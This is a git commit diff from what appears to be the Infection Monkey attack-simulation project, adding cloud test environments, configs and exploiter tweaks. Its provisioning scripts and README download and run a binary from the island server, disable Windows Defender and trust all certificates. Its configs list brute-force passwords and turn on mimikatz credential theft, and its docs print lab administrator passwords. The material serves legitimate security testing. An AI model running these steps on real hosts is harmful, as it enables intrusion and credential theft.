Merge remote-tracking branch 'upstream/develop' into map_generation_test

# Conflicts:
#	envs/monkey_zoo/blackbox/test_blackbox.py
This commit is contained in:
VakarisZ 2020-04-10 17:07:41 +03:00
commit 0e2a3a54a9
164 changed files with 1849 additions and 403 deletions

3
.gitmodules vendored Normal file
View File

@ -0,0 +1,3 @@
[submodule "monkey/monkey_island/cc/services/attack/attack_data"]
path = monkey/monkey_island/cc/services/attack/attack_data
url = https://github.com/mitre/cti

View File

@ -85,7 +85,7 @@ fi
log_message "Cloning files from git" log_message "Cloning files from git"
branch=${2:-"develop"} branch=${2:-"develop"}
if [[ ! -d "$monkey_home/monkey" ]]; then # If not already cloned if [[ ! -d "$monkey_home/monkey" ]]; then # If not already cloned
git clone --single-branch -b "$branch" "${MONKEY_GIT_URL}" "${monkey_home}" 2>&1 || handle_error git clone --single-branch --recurse-submodules -b "$branch" "${MONKEY_GIT_URL}" "${monkey_home}" 2>&1 || handle_error
chmod 774 -R "${monkey_home}" chmod 774 -R "${monkey_home}"
fi fi

View File

@ -48,7 +48,7 @@ function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName,
} }
# Download the monkey # Download the monkey
$command = "git clone --single-branch -b $branch $MONKEY_GIT_URL $monkey_home 2>&1" $command = "git clone --single-branch --recurse-submodules -b $branch $MONKEY_GIT_URL $monkey_home 2>&1"
Write-Output $command Write-Output $command
$output = cmd.exe /c $command $output = cmd.exe /c $command
$binDir = (Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "\bin") $binDir = (Join-Path -Path $monkey_home -ChildPath $MONKEY_ISLAND_DIR | Join-Path -ChildPath "\bin")

View File

@ -0,0 +1,57 @@
# Monkey maker
## About
Monkey maker is an environment on AWS that
is designed for monkey binary building.
This environment is deployed using terraform scripts
located in this directory.
## Setup
To setup you need to put `accessKeys` file into `./aws_keys` directory.
Contents of `accessKeys` file should be as follows:
```ini
[default]
aws_access_key_id = <...>
aws_secret_access_key = <...>
```
Also review `./terraform/config.tf` file.
Launch the environment by going into `terraform` folder and running
```
terraform init
terraform apply
```
## Usage
To login to windows use Administrator: %HwuzI!Uzsyfa=cB*XaQ6xxHqopfj)h) credentials
You'll find docker files in `/home/ubuntu/docker_envs/linux/...`
To build docker image for 32 bit linux:
```
cd /home/ubuntu/docker_envs/linux/py3-32
sudo docker build -t builder32 .
```
To build docker image for 64 bit linux:
```
cd /home/ubuntu/docker_envs/linux/py3-64
sudo docker build -t builder64 .
```
To build 32 bit monkey binary:
```
cd /home/ubuntu/monkey_folder/monkey
sudo docker run -v "$(pwd):/src" builder32 -c "export SRCDIR=/src/infection_monkey && /entrypoint.sh"
```
To build 64 bit monkey binary:
```
cd /home/ubuntu/monkey_folder/monkey
sudo docker run -v "$(pwd):/src" builder64 -c "export SRCDIR=/src/infection_monkey && /entrypoint.sh"
```

4
envs/monkey_maker/aws_keys/.gitignore vendored Normal file
View File

@ -0,0 +1,4 @@
# Ignore everything in this directory
*
# Except this file
!.gitignore

View File

@ -0,0 +1,5 @@
provider "aws" {
version = "~> 2.0"
region = "eu-central-1"
shared_credentials_file = "../aws_keys/accessKeys"
}

View File

@ -0,0 +1,61 @@
resource "aws_vpc" "monkey_maker" {
cidr_block = "10.0.0.0/24"
enable_dns_support = true
tags = {
Name = "monkey_maker_vpc"
}
}
resource "aws_internet_gateway" "monkey_maker_gateway" {
vpc_id = "${aws_vpc.monkey_maker.id}"
tags = {
Name = "monkey_maker_gateway"
}
}
// create routing table which points to the internet gateway
resource "aws_route_table" "monkey_maker_route" {
vpc_id = "${aws_vpc.monkey_maker.id}"
route {
cidr_block = "0.0.0.0/0"
gateway_id = "${aws_internet_gateway.monkey_maker_gateway.id}"
}
tags = {
Name = "monkey_maker_route"
}
}
// associate the routing table with the subnet
resource "aws_route_table_association" "subnet-association" {
subnet_id = "${aws_subnet.main.id}"
route_table_id = "${aws_route_table.monkey_maker_route.id}"
}
resource "aws_subnet" "main" {
vpc_id = "${aws_vpc.monkey_maker.id}"
cidr_block = "10.0.0.0/24"
tags = {
Name = "Main"
}
}
resource "aws_security_group" "monkey_maker_sg" {
name = "monkey_maker_sg"
description = "Allow remote access to the island"
vpc_id = "${aws_vpc.monkey_maker.id}"
egress {
from_port = 0
to_port = 0
protocol = "-1"
cidr_blocks = ["0.0.0.0/0"]
}
tags = {
Name = "monkey_maker_sg"
}
}

View File

@ -0,0 +1,25 @@
resource "aws_instance" "island_windows" {
ami = "ami-033b3ef27f8d1881d"
instance_type = "t2.micro"
private_ip = "10.0.0.251"
subnet_id = "${aws_subnet.main.id}"
key_name = "monkey_maker"
tags = {
Name = "monkey_maker_windows"
}
vpc_security_group_ids = ["${aws_security_group.monkey_maker_sg.id}"]
associate_public_ip_address = true
}
resource "aws_instance" "island_linux" {
ami = "ami-0495203541087740a"
instance_type = "t2.micro"
private_ip = "10.0.0.252"
subnet_id = "${aws_subnet.main.id}"
key_name = "monkey_maker"
tags = {
Name = "monkey_maker_linux"
}
vpc_security_group_ids = ["${aws_security_group.monkey_maker_sg.id}"]
associate_public_ip_address = true
}

View File

@ -1,8 +1,18 @@
{ {
"basic": { "basic": {
"credentials": { "credentials": {
"exploit_password_list": [], "exploit_password_list": [
"exploit_user_list": [] "Password1!",
"1234",
"password",
"12345678"
],
"exploit_user_list": [
"Administrator",
"root",
"user",
"vakaris_zilius"
]
}, },
"general": { "general": {
"should_exploit": true "should_exploit": true
@ -39,16 +49,13 @@
"exploiter_classes": [ "exploiter_classes": [
"Struts2Exploiter" "Struts2Exploiter"
], ],
"skip_exploit_if_file_exist": true "skip_exploit_if_file_exist": false
}, },
"ms08_067": { "ms08_067": {
"ms08_067_exploit_attempts": 5, "ms08_067_exploit_attempts": 5,
"remote_user_pass": "Password1!", "remote_user_pass": "Password1!",
"user_to_add": "Monkey_IUSER_SUPPORT" "user_to_add": "Monkey_IUSER_SUPPORT"
}, },
"rdp_grinder": {
"rdp_use_vbs_download": true
},
"sambacry": { "sambacry": {
"sambacry_folder_paths_to_guess": [ "sambacry_folder_paths_to_guess": [
"/", "/",
@ -98,7 +105,7 @@
"exploit_ssh_keys": [] "exploit_ssh_keys": []
}, },
"general": { "general": {
"keep_tunnel_open_time": 1, "keep_tunnel_open_time": 60,
"monkey_dir_name": "monkey_dir", "monkey_dir_name": "monkey_dir",
"singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}" "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}"
}, },
@ -126,24 +133,32 @@
}, },
"general": { "general": {
"alive": true, "alive": true,
"post_breach_actions": [] "post_breach_actions": [
"CommunicateAsNewUser"
]
}, },
"life_cycle": { "life_cycle": {
"max_iterations": 1, "max_iterations": 1,
"retry_failed_explotation": true, "retry_failed_explotation": true,
"timeout_between_iterations": 30, "timeout_between_iterations": 100,
"victims_max_exploit": 7, "victims_max_exploit": 15,
"victims_max_find": 30 "victims_max_find": 100
}, },
"system_info": { "system_info": {
"collect_system_info": false, "collect_system_info": true,
"extract_azure_creds": false, "extract_azure_creds": true,
"should_use_mimikatz": false "should_use_mimikatz": true,
"system_info_collectors_classes": [
"EnvironmentCollector",
"AwsCollector",
"HostnameCollector",
"ProcessListCollector"
]
} }
}, },
"network": { "network": {
"ping_scanner": { "ping_scanner": {
"ping_scan_timeout": 100 "ping_scan_timeout": 1000
}, },
"tcp_scanner": { "tcp_scanner": {
"HTTP_PORTS": [ "HTTP_PORTS": [
@ -155,7 +170,7 @@
], ],
"tcp_scan_get_banner": true, "tcp_scan_get_banner": true,
"tcp_scan_interval": 0, "tcp_scan_interval": 0,
"tcp_scan_timeout": 300, "tcp_scan_timeout": 3000,
"tcp_target_ports": [ "tcp_target_ports": [
22, 22,
2222, 2222,
@ -168,7 +183,8 @@
8008, 8008,
3306, 3306,
9200, 9200,
7001 7001,
8088
] ]
} }
} }

View File

@ -5,6 +5,7 @@
"Password1!", "Password1!",
"3Q=(Ge(+&w]*", "3Q=(Ge(+&w]*",
"`))jU7L(w}", "`))jU7L(w}",
"t67TC5ZDmz",
"12345678", "12345678",
"another_one", "another_one",
"and_another_one", "and_another_one",
@ -30,7 +31,8 @@
"subnet_scan_list": [ "subnet_scan_list": [
"10.2.2.9", "10.2.2.9",
"10.2.1.10", "10.2.1.10",
"10.2.0.11" "10.2.0.11",
"10.2.0.12"
] ]
}, },
"network_analysis": { "network_analysis": {

View File

@ -16,7 +16,7 @@ DEFAULT_TIMEOUT_SECONDS = 5*60
MACHINE_BOOTUP_WAIT_SECONDS = 30 MACHINE_BOOTUP_WAIT_SECONDS = 30
GCP_TEST_MACHINE_LIST = ['sshkeys-11', 'sshkeys-12', 'elastic-4', 'elastic-5', 'hadoop-2', 'hadoop-3', 'mssql-16', GCP_TEST_MACHINE_LIST = ['sshkeys-11', 'sshkeys-12', 'elastic-4', 'elastic-5', 'hadoop-2', 'hadoop-3', 'mssql-16',
'mimikatz-14', 'mimikatz-15', 'struts2-23', 'struts2-24', 'tunneling-9', 'tunneling-10', 'mimikatz-14', 'mimikatz-15', 'struts2-23', 'struts2-24', 'tunneling-9', 'tunneling-10',
'tunneling-11', 'weblogic-18', 'weblogic-19', 'shellshock-8'] 'tunneling-11', 'tunneling-12', 'weblogic-18', 'weblogic-19', 'shellshock-8']
LOG_DIR_PATH = "./logs" LOG_DIR_PATH = "./logs"
LOGGER = logging.getLogger(__name__) LOGGER = logging.getLogger(__name__)
@ -116,9 +116,8 @@ class TestMonkeyBlackbox(object):
#def test_shellshock_exploiter(self, island_client): #def test_shellshock_exploiter(self, island_client):
# TestMonkeyBlackbox.run_exploitation_test(island_client, "SHELLSHOCK.conf", "Shellschock_exploiter") # TestMonkeyBlackbox.run_exploitation_test(island_client, "SHELLSHOCK.conf", "Shellschock_exploiter")
# #
#@pytest.mark.xfail(reason="Test fails randomly - still investigating.")
#def test_tunneling(self, island_client): #def test_tunneling(self, island_client):
# TestMonkeyBlackbox.run_exploitation_test(island_client, "TUNNELING.conf", "Tunneling_exploiter", 10 * 60) # TestMonkeyBlackbox.run_exploitation_test(island_client, "TUNNELING.conf", "Tunneling_exploiter", 15 * 60)
# #
#def test_wmi_and_mimikatz_exploiters(self, island_client): #def test_wmi_and_mimikatz_exploiters(self, island_client):
# TestMonkeyBlackbox.run_exploitation_test(island_client, "WMI_MIMIKATZ.conf", "WMI_exploiter,_mimikatz") # TestMonkeyBlackbox.run_exploitation_test(island_client, "WMI_MIMIKATZ.conf", "WMI_exploiter,_mimikatz")
@ -138,5 +137,3 @@ class TestMonkeyBlackbox(object):
island_client, island_client,
"PERFORMANCE.conf", "PERFORMANCE.conf",
timeout_in_seconds=10*60) timeout_in_seconds=10*60)

View File

@ -546,6 +546,38 @@ fullTest.conf is a good config to start, because it covers all machines.
</tbody> </tbody>
</table> </table>
<table>
<thead>
<tr class="header">
<th><p><span id="_Toc536021463" class="anchor"></span>Nr. <strong>12</strong> Tunneling M4</p>
<p>(10.2.0.12)</p></th>
<th>(Exploitable)</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>OS:</td>
<td><strong>Windows server 2019 x64</strong></td>
</tr>
<tr class="odd">
<td>Default services port:</td>
<td>445</td>
</tr>
<tr class="even">
<td>Root password:</td>
<td>t67TC5ZDmz</td>
</tr>
<tr class="odd">
<td>Servers config:</td>
<td>Default</td>
</tr>
<tr class="even">
<td>Notes:</td>
<td>Accessible only trough Nr.10</td>
</tr>
</tbody>
</table>
<table> <table>
<thead> <thead>
<tr class="header"> <tr class="header">

View File

@ -201,6 +201,21 @@ resource "google_compute_instance_from_template" "tunneling-11" {
} }
} }
resource "google_compute_instance_from_template" "tunneling-12" {
name = "${local.resource_prefix}tunneling-12"
source_instance_template = local.default_windows
boot_disk{
initialize_params {
image = data.google_compute_image.tunneling-12.self_link
}
auto_delete = true
}
network_interface{
subnetwork="${local.resource_prefix}tunneling2-main"
network_ip="10.2.0.12"
}
}
resource "google_compute_instance_from_template" "sshkeys-11" { resource "google_compute_instance_from_template" "sshkeys-11" {
name = "${local.resource_prefix}sshkeys-11" name = "${local.resource_prefix}sshkeys-11"
source_instance_template = local.default_ubuntu source_instance_template = local.default_ubuntu

View File

@ -0,0 +1,79 @@
# OS compatibility
## About
OS compatibility is an environment on AWS that
is designed to test monkey binary compatibility on
different operating systems.
This environment is deployed using terraform scripts
located in this directory.
## Setup
To setup you need to put `accessKeys` file into `./aws_keys` directory.
Contents of `accessKeys` file should be as follows:
```
[default]
aws_access_key_id = <...>
aws_secret_access_key = <...>
```
Also review `./terraform/config.tf` file.
Launch the environment by going into `terraform` folder and running
```angular2html
terraform init
terraform apply
```
## Usage
0. Add your machine's IP to the `os_compat_island` security group ingress rules.
1. Launch os_compat_ISLAND machine and upload your binaries/update island. Reset island environment.
2. Launch/Reboot all other os_compat test machines (Can be filtered with tag "Purpose: os_compat_instance")
3. Wait until machines boot and run monkey
4. Launch `test_compatibility.py` pytest script with island ip parameter
(e.g. `test_compatibility.py --island 111.111.111.111:5000`)
## Machines
Since island machine is built from custom AMI it already has the following credentials:
Administrator: %tPHGz8ZuQsBnEUgdpz!6f&elGnFy?;.
For windows_2008_r2 Administrator:AGE(MP..txL
The following machines does not download monkey automatically, so you'll have to manually check them:
- os_compat_kali_2019
- os_compat_oracle_6
- os_compat_oracle_7
- windows_2003_r2_32
- windows_2003
- windows_2008_r2
A quick reference for usernames on different machines (if in doubt check official docs):
- Ubuntu: ubuntu
- Oracle: clckwrk
- CentOS: centos
- Everything else: ec2-user
To manually verify the machine is compatible use commands to download and execute the monkey.
Also, add your IP to `os_compat_instance` security group.
Example commands:
- Powershell:
```cmd
[System.Net.ServicePointManager]::CertificatePolicy = New-Object TrustAllCertsPolicy
Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction SilentlyContinue
Invoke-WebRequest -Uri 'https://10.0.0.251:5000/api/monkey/download/monkey-windows-64.exe' -OutFile 'C:\windows\temp\monkey-windows-64.exe' -UseBasicParsing
C:\windows\temp\monkey-windows-64.exe m0nk3y -s 10.0.0.251:5000
```
- Bash:
```shell script
wget --no-check-certificate -q https://10.0.0.251:5000/api/monkey/download/monkey-linux-64 -O ./monkey-linux-64 || curl https://10.0.0.251:5000/api/monkey/download/monkey-linux-64 -k -o monkey-linux-64
chmod +x ./monkey-linux-64
./monkey-linux-64 m0nk3y -s 10.0.0.251:5000
```

View File

@ -0,0 +1,4 @@
# Ignore everything in this directory
*
# Except this file
!.gitignore

View File

@ -0,0 +1,11 @@
import pytest
def pytest_addoption(parser):
parser.addoption("--island", action="store", default="",
help="Specify the Monkey Island address (host+port).")
@pytest.fixture(scope='module')
def island(request):
return request.config.getoption("--island")

View File

@ -0,0 +1,5 @@
provider "aws" {
version = "~> 2.0"
region = "eu-central-1"
shared_credentials_file = "../aws_keys/accessKeys"
}

View File

@ -0,0 +1,92 @@
resource "aws_vpc" "os_compat_vpc" {
cidr_block = "10.0.0.0/24"
enable_dns_support = true
tags = {
Name = "os_compat_vpc"
}
}
resource "aws_internet_gateway" "os_compat_gateway" {
vpc_id = "${aws_vpc.os_compat_vpc.id}"
tags = {
Name = "os_compat_gateway"
}
}
// create routing table which points to the internet gateway
resource "aws_route_table" "os_compat_route" {
vpc_id = "${aws_vpc.os_compat_vpc.id}"
route {
cidr_block = "0.0.0.0/0"
gateway_id = "${aws_internet_gateway.os_compat_gateway.id}"
}
tags = {
Name = "os_compat_route"
}
}
// associate the routing table with the subnet
resource "aws_route_table_association" "subnet-association" {
subnet_id = "${aws_subnet.main.id}"
route_table_id = "${aws_route_table.os_compat_route.id}"
}
resource "aws_subnet" "main" {
vpc_id = "${aws_vpc.os_compat_vpc.id}"
cidr_block = "10.0.0.0/24"
tags = {
Name = "Main"
}
}
resource "aws_security_group" "os_compat_island" {
name = "os_compat_island"
description = "Allow remote access to the island"
vpc_id = "${aws_vpc.os_compat_vpc.id}"
ingress {
from_port = 0
to_port = 0
protocol = "-1"
cidr_blocks = ["10.0.0.0/24"]
}
egress {
from_port = 0
to_port = 0
protocol = "-1"
cidr_blocks = ["0.0.0.0/0"]
}
tags = {
Name = "os_compat_island"
}
}
resource "aws_security_group" "os_compat_instance" {
name = "os_compat_instance"
description = "Allow remote access to the machines"
vpc_id = "${aws_vpc.os_compat_vpc.id}"
ingress {
from_port = 0
to_port = 0
protocol = "-1"
cidr_blocks = ["10.0.0.0/24"]
}
egress {
from_port = 0
to_port = 0
protocol = "-1"
cidr_blocks = ["0.0.0.0/0"]
}
tags = {
Name = "os_compat_instance"
}
}

View File

@ -0,0 +1,14 @@
resource "aws_instance" "os_test_machine" {
ami = "${var.ami}"
instance_type = "${var.type}"
private_ip = "${var.ip}"
subnet_id = "${data.aws_subnet.main.id}"
key_name = "os_compat"
tags = {
Name = "os_compat_${var.name}"
Purpose = "os_compat_instance"
}
vpc_security_group_ids = ["${data.aws_security_group.os_compat_instance.id}"]
associate_public_ip_address = true
user_data = "${var.user_data}"
}

View File

@ -0,0 +1,25 @@
variable "ami" {type=string}
variable "ip" {type=string}
variable "name" {type=string}
variable "type" {
type=string
default="t2.micro"
}
variable "user_data" {
type=string
default=""
}
variable "env_vars" {
type = object({
subnet_id = string
vpc_security_group_ids = string
})
}
data "aws_subnet" "main" {
id = "${var.env_vars.subnet_id}"
}
data "aws_security_group" "os_compat_instance" {
id = "${var.env_vars.vpc_security_group_ids}"
}

View File

@ -0,0 +1,371 @@
// Instances of machines in os_compat environment
// !!! Don't forget to add machines to test_compatibility.py if you add here !!!
resource "aws_instance" "island" {
ami = "ami-004f0217ce761fc9a"
instance_type = "t2.micro"
private_ip = "10.0.0.251"
subnet_id = "${aws_subnet.main.id}"
key_name = "os_compat"
tags = {
Name = "os_compat_ISLAND"
}
vpc_security_group_ids = ["${aws_security_group.os_compat_island.id}"]
associate_public_ip_address = true
root_block_device {
volume_size = "30"
volume_type = "standard"
delete_on_termination = true
}
}
locals {
env_vars = {
subnet_id = "${aws_subnet.main.id}"
vpc_security_group_ids = "${aws_security_group.os_compat_instance.id}"
}
user_data_linux_64 = <<EOF
Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0
--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="cloud-config.txt"
#cloud-config
cloud_final_modules:
- [scripts-user, always]
--//
Content-Type: text/x-shellscript; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="userdata.txt"
#!/bin/bash
rm ./monkey-linux-64
wget --no-check-certificate -q https://10.0.0.251:5000/api/monkey/download/monkey-linux-64 -O ./monkey-linux-64 || curl https://10.0.0.251:5000/api/monkey/download/monkey-linux-64 -k -o monkey-linux-64
chmod +x ./monkey-linux-64
./monkey-linux-64 m0nk3y -s 10.0.0.251:5000
--//
EOF
user_data_linux_32 = <<EOF
Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0
--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="cloud-config.txt"
#cloud-config
cloud_final_modules:
- [scripts-user, always]
--//
Content-Type: text/x-shellscript; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="userdata.txt"
#!/bin/bash
rm ./monkey-linux-32
wget --no-check-certificate -q https://10.0.0.251:5000/api/monkey/download/monkey-linux-32 -O ./monkey-linux-32 || curl https://10.0.0.251:5000/api/monkey/download/monkey-linux-32 -k -o monkey-linux-32
chmod +x ./monkey-linux-32
./monkey-linux-32 m0nk3y -s 10.0.0.251:5000
--//
EOF
user_data_windows_64 = <<EOF
<powershell>
add-type @"
using System.Net;
using System.Security.Cryptography.X509Certificates;
public class TrustAllCertsPolicy : ICertificatePolicy {
public bool CheckValidationResult(
ServicePoint srvPoint, X509Certificate certificate,
WebRequest request, int certificateProblem) {
return true;
}
}
"@
[System.Net.ServicePointManager]::CertificatePolicy = New-Object TrustAllCertsPolicy
Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction SilentlyContinue
Invoke-WebRequest -Uri 'https://10.0.0.251:5000/api/monkey/download/monkey-windows-64.exe' -OutFile 'C:\windows\temp\monkey-windows-64.exe' -UseBasicParsing
C:\windows\temp\monkey-windows-64.exe m0nk3y -s 10.0.0.251:5000
</powershell>
<persist>true</persist>
EOF
user_data_windows_32 = <<EOF
<powershell>
add-type @"
using System.Net;
using System.Security.Cryptography.X509Certificates;
public class TrustAllCertsPolicy : ICertificatePolicy {
public bool CheckValidationResult(
ServicePoint srvPoint, X509Certificate certificate,
WebRequest request, int certificateProblem) {
return true;
}
}
"@
[System.Net.ServicePointManager]::CertificatePolicy = New-Object TrustAllCertsPolicy
Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction SilentlyContinue
Invoke-WebRequest -Uri 'https://10.0.0.251:5000/api/monkey/download/monkey-windows-32.exe' -OutFile 'C:\windows\temp\monkey-windows-32.exe' -UseBasicParsing
C:\windows\temp\monkey-windows-32.exe m0nk3y -s 10.0.0.251:5000
</powershell>
<persist>true</persist>
EOF
}
module "centos_6" {
source = "./instance_template"
name = "centos_6"
ami = "ami-07fa74e425f2abf29"
ip = "10.0.0.36"
env_vars = "${local.env_vars}"
user_data = "${local.user_data_linux_64}"
}
module "centos_7" {
source = "./instance_template"
name = "centos_7"
ami = "ami-0034b52a39b9fb0e8"
ip = "10.0.0.37"
env_vars = "${local.env_vars}"
user_data = "${local.user_data_linux_64}"
}
module "centos_8" {
source = "./instance_template"
name = "centos_8"
ami = "ami-0034c84e4e9c557bd"
ip = "10.0.0.38"
env_vars = "${local.env_vars}"
user_data = "${local.user_data_linux_64}"
}
module "suse_12" {
source = "./instance_template"
name = "suse_12"
ami = "ami-07b12b913a7e36b08"
ip = "10.0.0.42"
env_vars = "${local.env_vars}"
user_data = "${local.user_data_linux_64}"
}
module "suse_11" {
source = "./instance_template"
name = "suse_11"
ami = "ami-0083986c"
ip = "10.0.0.41"
env_vars = "${local.env_vars}"
user_data = "${local.user_data_linux_64}"
}
module "kali_2019" {
source = "./instance_template"
name = "kali_2019"
ami = "ami-05d64b1d0f967d4bf"
ip = "10.0.0.99"
env_vars = "${local.env_vars}"
user_data = "${local.user_data_linux_64}"
}
// Requires m3.medium which usually isn't available
//module "rhel_5" {
// source = "./instance_template"
// name = "rhel_5"
// ami = "ami-a48cbfb9"
// type = "m3.medium"
// ip = "10.0.0.85"
// env_vars = "${local.env_vars}"
// user_data = "${local.user_data_linux_64}"
//}
module "rhel_6" {
source = "./instance_template"
name = "rhel_6"
ami = "ami-0af3f0e0918f47bcf"
ip = "10.0.0.86"
env_vars = "${local.env_vars}"
user_data = "${local.user_data_linux_64}"
}
module "rhel_7" {
source = "./instance_template"
name = "rhel_7"
ami = "ami-0b5edb134b768706c"
ip = "10.0.0.87"
env_vars = "${local.env_vars}"
user_data = "${local.user_data_linux_64}"
}
module "rhel_8" {
source = "./instance_template"
name = "rhel_8"
ami = "ami-0badcc5b522737046"
ip = "10.0.0.88"
env_vars = "${local.env_vars}"
user_data = "${local.user_data_linux_64}"
}
module "debian_7" {
source = "./instance_template"
name = "debian_7"
ami = "ami-0badcc5b522737046"
ip = "10.0.0.77"
env_vars = "${local.env_vars}"
user_data = "${local.user_data_linux_64}"
}
module "debian_8" {
source = "./instance_template"
name = "debian_8"
ami = "ami-0badcc5b522737046"
ip = "10.0.0.78"
env_vars = "${local.env_vars}"
user_data = "${local.user_data_linux_64}"
}
module "debian_9" {
source = "./instance_template"
name = "debian_9"
ami = "ami-0badcc5b522737046"
ip = "10.0.0.79"
env_vars = "${local.env_vars}"
user_data = "${local.user_data_linux_64}"
}
module "oracle_6" {
source = "./instance_template"
name = "oracle_6"
ami = "ami-0f9b69f34108a3770"
ip = "10.0.0.66"
env_vars = "${local.env_vars}"
user_data = "${local.user_data_linux_64}"
}
module "oracle_7" {
source = "./instance_template"
name = "oracle_7"
ami = "ami-001e494dc0f3372bc"
ip = "10.0.0.67"
env_vars = "${local.env_vars}"
user_data = "${local.user_data_linux_64}"
}
module "ubuntu_12" {
source = "./instance_template"
name = "ubuntu_12"
ami = "ami-003d0b1d"
ip = "10.0.0.22"
env_vars = "${local.env_vars}"
user_data = "${local.user_data_linux_64}"
}
// Requires m3.medium instance which usually isn't available
// module "ubuntu_12_32" {
// source = "./instance_template"
// name = "ubuntu_12_32"
// ami = "ami-06003c1b"
// ip = "10.0.0.23"
// env_vars = "${local.env_vars}"
// user_data = "${local.user_data_linux_32}"
// }
module "ubuntu_14" {
source = "./instance_template"
name = "ubuntu_14"
ami = "ami-067ee10914e74ffee"
ip = "10.0.0.24"
env_vars = "${local.env_vars}"
user_data = "${local.user_data_linux_64}"
}
module "ubuntu_19" {
source = "./instance_template"
name = "ubuntu_19"
ami = "ami-001b87954b72ea3ac"
ip = "10.0.0.29"
env_vars = "${local.env_vars}"
user_data = "${local.user_data_linux_64}"
}
module "windows_2003_r2_32" {
source = "./instance_template"
name = "windows_2003_r2_32"
ami = "ami-01e4fa6d"
ip = "10.0.0.4"
env_vars = "${local.env_vars}"
user_data = "${local.user_data_windows_64}"
}
module "windows_2003" {
source = "./instance_template"
name = "windows_2003"
ami = "ami-9e023183"
ip = "10.0.0.5"
env_vars = "${local.env_vars}"
user_data = "${local.user_data_windows_64}"
}
module "windows_2008_r2" {
source = "./instance_template"
name = "windows_2008_r2"
ami = "ami-05af5509c2c73e36e"
ip = "10.0.0.8"
env_vars = "${local.env_vars}"
user_data = "${local.user_data_windows_64}"
}
module "windows_2008_32" {
source = "./instance_template"
name = "windows_2008_32"
ami = "ami-3606352b"
ip = "10.0.0.6"
env_vars = "${local.env_vars}"
user_data = "${local.user_data_windows_32}"
}
module "windows_2012" {
source = "./instance_template"
name = "windows_2012"
ami = "ami-0d8c60e4d3ca36ed6"
ip = "10.0.0.12"
env_vars = "${local.env_vars}"
user_data = "${local.user_data_windows_64}"
}
module "windows_2012_r2" {
source = "./instance_template"
name = "windows_2012_r2"
ami = "ami-08dcceb529e70f875"
ip = "10.0.0.11"
env_vars = "${local.env_vars}"
user_data = "${local.user_data_windows_64}"
}
module "windows_2016" {
source = "./instance_template"
name = "windows_2016"
ami = "ami-02a6791b44938cfcd"
ip = "10.0.0.116"
env_vars = "${local.env_vars}"
user_data = "${local.user_data_windows_64}"
}
module "windows_2019" {
source = "./instance_template"
name = "windows_2019"
ami = "ami-09fe2745618d2af42"
ip = "10.0.0.119"
env_vars = "${local.env_vars}"
user_data = "${local.user_data_windows_64}"
}

View File

@ -0,0 +1,62 @@
import pytest
from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient
machine_list = {
"10.0.0.36": "centos_6",
"10.0.0.37": "centos_7",
"10.0.0.38": "centos_8",
"10.0.0.42": "suse_12",
"10.0.0.41": "suse_11",
"10.0.0.99": "kali_2019",
"10.0.0.86": "rhel_6",
"10.0.0.87": "rhel_7",
"10.0.0.88": "rhel_8",
"10.0.0.77": "debian_7",
"10.0.0.78": "debian_8",
"10.0.0.79": "debian_9",
"10.0.0.66": "oracle_6",
"10.0.0.67": "oracle_7",
"10.0.0.22": "ubuntu_12",
"10.0.0.24": "ubuntu_14",
"10.0.0.29": "ubuntu_19",
"10.0.0.4": "windows_2003_r2_32",
"10.0.0.5": "windows_2003",
"10.0.0.8": "windows_2008",
"10.0.0.6": "windows_2008_32",
"10.0.0.12": "windows_2012",
"10.0.0.11": "windows_2012_r2",
"10.0.0.116": "windows_2016",
"10.0.0.119": "windows_2019",
}
@pytest.fixture(scope='class')
def island_client(island):
island_client_object = MonkeyIslandClient(island)
yield island_client_object
@pytest.mark.usefixtures('island_client')
# noinspection PyUnresolvedReferences
class TestOSCompatibility(object):
def test_os_compat(self, island_client):
print()
all_monkeys = island_client.get_all_monkeys_from_db()
ips_that_communicated = []
for monkey in all_monkeys:
for ip in monkey['ip_addresses']:
if ip in machine_list:
ips_that_communicated.append(ip)
break
for ip, os in machine_list.items():
if ip not in ips_that_communicated:
print("{} didn't communicate to island".format(os))
if len(ips_that_communicated) < len(machine_list):
assert False

View File

@ -180,7 +180,7 @@ class SSHExploiter(HostExploiter):
try: try:
cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG) cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG)
cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1)
cmdline += "&" cmdline += " > /dev/null 2>&1 &"
ssh.exec_command(cmdline) ssh.exec_command(cmdline)
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",

View File

@ -409,6 +409,7 @@ class WebRCE(HostExploiter):
monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1) monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1)
command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': MONKEY_ARG, 'parameters': monkey_cmd} command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': MONKEY_ARG, 'parameters': monkey_cmd}
try: try:
LOG.info("Trying to execute monkey using command: {}".format(command))
resp = self.exploit(url, command) resp = self.exploit(url, command)
# If exploiter returns True / False # If exploiter returns True / False
if isinstance(resp, bool): if isinstance(resp, bool):

View File

@ -5,14 +5,17 @@ __author__ = 'itamar'
MONKEY_ARG = "m0nk3y" MONKEY_ARG = "m0nk3y"
DROPPER_ARG = "dr0pp3r" DROPPER_ARG = "dr0pp3r"
